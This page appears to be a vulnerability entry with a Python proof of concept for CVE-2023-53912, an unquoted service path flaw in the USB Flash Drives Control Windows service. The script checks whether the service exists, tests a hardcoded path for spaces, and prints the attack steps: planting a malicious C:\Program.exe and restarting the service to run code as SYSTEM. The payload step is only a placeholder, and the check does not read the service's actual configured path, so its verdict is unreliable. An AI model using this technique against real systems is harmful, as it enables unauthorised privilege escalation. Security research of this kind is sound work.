CVE-2023-53912 USB Flash Drives Control 未引用服务路径权限提升漏洞

#!/usr/bin/env python3 # CVE-2023-53912 PoC - USB Flash Drives Control Unquoted Service Path # This PoC demonstrates the unquoted service path vulnerability # Author: Security Researcher # Note: This is for educational and authorized testing purposes only import os import sys import subprocess def check_vulnerability(): """ Check if the target system is vulnerable to CVE-2023-53912 """ target_service = "USB Flash Drives Control" vulnerable_path = r"C:\Program Files\USB Flash Drives Control\usbcs.exe" # Check if the service exists try: result = subprocess.run( ['sc', 'query', target_service], capture_output=True, text=True ) if result.returncode != 0: print(f"[-] Service '{target_service}' not found") return False except Exception as e: print(f"[-] Error checking service: {e}") return False # Check if path is unquoted (vulnerability check) path_components = vulnerable_path.split('\\') for i, component in enumerate(path_components): if ' ' in component: print(f"[!] VULNERABLE: Unquoted path component found: {component}") print(f"[!] Attacker can place malicious executable at: {path_components[0]}\\{component}.exe") return True return False def create_payload(payload_path): """ Create a simple reverse shell payload for demonstration In real attack, this would be a more sophisticated malware """ # This is a placeholder - in real attack, attacker would create actual malware print(f"[*] In a real attack, malicious executable would be created at: {payload_path}") print("[*] When service restarts, the malicious code executes with SYSTEM privileges") if __name__ == "__main__": print("=" * 60) print("CVE-2023-53912 - USB Flash Drives Control Unquoted Service Path") print("=" * 60) if not os.name == 'nt': print("[-] This exploit only works on Windows systems") sys.exit(1) print("\n[*] Checking for vulnerability...") if check_vulnerability(): print("\n[!] Target is VULNERABLE to CVE-2023-53912") print("\n[*] Attack vector:") print(" 1. Attacker places malicious Program.exe in C:\\") print(" 2. Wait for service restart or trigger restart") print(" 3. Malicious code executes with SYSTEM privileges") # Demonstrate the attack path create_payload(r"C:\Program.exe") else: print("\n[-] Target does not appear to be vulnerable")